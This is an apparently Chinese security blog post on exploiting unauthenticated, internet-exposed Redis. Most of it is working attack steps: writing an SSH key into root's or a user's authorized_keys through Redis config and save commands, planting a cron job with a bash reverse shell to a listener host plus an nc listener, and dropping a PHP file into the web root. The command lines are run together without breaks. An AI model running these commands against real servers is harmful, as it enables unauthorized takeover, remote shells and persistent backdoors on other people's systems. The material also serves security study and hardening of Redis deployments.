01

未授权产生原因

1.redis绑定在0.0.0.0:6379默认端口，直接暴露在公网，无防火墙进行来源信任防护。

2.没有设置密码认证，可以免密远程登录redis服务

02

漏洞危害

1.信息泄露，攻击者可以恶意执行flushall清空数据

2.可以通过eval执行lua代码，或通过数据备份功能往磁盘写入后门文件

3.若以root身份运行，攻击者可以给root账户写入SSH公钥文件，直接通过SSH登录受害服务器。

03

漏洞利用—root用户启动利用方式

SSH密钥登录

ssh-keygen -t rsa(echo -e "\n"; cat id_rsa.pub; echo -e "\n") > auth_keycat auth_key | redis-cli -h hostname -x set crackitredis-cli -h hostnameconfig set dir /root/.ssh/  这里设置目录时，可能存在(error) ERR Changing directory: No such file or directory这是因为root从来没有登录过，在被攻击机执行ssh localhost 即可(error) ERR Changing directory: Permission denied说明redis并不是以root启动的6. config set dbfilename "authorized_keys"7. save退出redis8. ssh -i id_rsa root@redis_server 即可登录成功

计划任务反弹shell

redis-cli -h redis_serverset test "\n* * * * * bash -i >& /dev/tcp/监听主机8888 0>&1\n" config set dir /var/spool/cronconfig  set dbfilename "root"save监听主机 开启监听nc -l 8888

04

漏洞利用—普通用户启动利用方式

SSH密钥登录

ssh-keygen -t rsa(echo -e "\n"; cat id_rsa.pub; echo -e "\n") > auth_keycat auth_key | redis-cli -h hostname -x set crackitredis-cli -h hostnameconfig set dir /home/user/.ssh/  这里设置目录时，可能存在(error) ERR Changing directory: No such file or directory这是因为user从来没有登录过，需要自己创建config set dbfilename "authorized_keys"save退出redisssh -i id_rsa user@redis_server这里直接免密登录可能仍会提示要求输入密码，查看被攻击机的ssh连接日志/var/log/secureAuthentication refused: bad ownership or modes for directory /home/sojrs即被连接用户的目录权限存在问题，需要手工设置原因：sshd为了安全，对属主的目录和文件权限有所要求。如果权限不对，则ssh的免密码登陆不生效。用户目录权限为 755 或者 700，就是不能是77x，创建者必须为user。.ssh目录权限一般为755或者700。rsa_id.pub 及authorized_keys权限一般为644rsa_id权限必须为600总的来说，如果是非root用户启动，比较鸡肋，需要普通用户事先配置好免密登录的各项目录及权限，否则很容易失败

计划任务反弹shell

redis-cli -h redis-serverset test "\n* * * * * bash -i >& /dev/tcp/监听主机/8888 0>&1\n" config set dir /var/spool/cron(error) ERR Changing directory: Permission denied查看/var/spool/cron 目录权限为700，且为root创建即使该普通用户具有sudo权限也不行config  set dbfilename "root"save无法利用

web服务器写马

config set  dir /var/www/html/config set  dbfilename shell.phpset  cmd "<?php  phpinfo(); ?>"saveweb服务写马需要知道web的安装路径

白泽Sec

技术就应该被共享。

学习，我们一直走在路上。

白阁投稿邮箱：ByLibrary@163.com

白阁漏洞库：www.bylibrary.cn